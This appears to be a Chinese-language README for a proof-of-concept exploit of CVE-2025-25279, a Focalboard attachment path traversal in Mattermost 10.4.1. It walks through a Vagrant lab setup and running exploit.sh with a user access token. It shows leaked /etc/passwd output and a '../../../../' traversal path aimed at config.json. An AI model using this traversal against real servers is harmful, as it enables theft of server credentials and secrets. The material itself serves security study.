本概念验证演示了影响 Mattermost 10.4.1 的 CVE-2025-25279 漏洞利用。
Focalboard(看板管理模块)中存在一个漏洞,允许通过附件路径遍历实现 任意文件读取。
该漏洞可泄露:
/etc/passwd/etc/groupopt/mattermost/config/config.json攻击仅在漏洞场景下 使用已验证的用户账户 时有效。
target/ 目录未包含在内(体积过大,无法上传至 GitHub)。
请手动下载: https://releases.mattermost.com/10.4.1/mattermost-10.4.1-linux-amd64.tar.gz
首先进入 target 目录并执行:
cd target
make mattermost.box
确保已添加 mattermost-poc 盒子,否则虚拟机无法启动:
cd cve-2025-25279-mattermost
vagrant box add mattermost-poc target/mattermost.box
cd live/vm1
vagrant up
连接到虚拟机
vagrant ssh
个人资料 --> 安全 --> 个人访问令牌
在宿主机上执行:
cd live/share
sudo apt-get update -y
sudo apt-get install -y unzip
chmod +x exploit.sh
./exploit.sh
系统会提示:
PAT(个人访问令牌):
👉 输入一个有效的 Mattermost 用户 PAT。
📸 示例输出(泄露 /etc/passwd)
===== 内容(开头) =====
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
mattermost:x:999:996::/opt/mattermost:/bin/sh
目标文件:config.json
若想指向一个敏感的 Mattermost 文件:
修改 exploit.sh 脚本顶部的设置:
TARGET_SUFFIX="opt/mattermost/config/config.json"
TRAVERSAL_PATH='../../../../../../../opt/mattermost/config/config.json'
然后漏洞脚本将输出 config.json 文件的内容。
🟢 MAHAMMAD MOUSSE Abokor 🔵 PARNET cyril
🎬 视频演示
👉 完整的视频演示位于: live/Démonstration/video-poc-cve-2025-25279.mp4
🧩 说明
本 PoC 严格用于学习环境。 未经授权,不得在教育范围之外使用。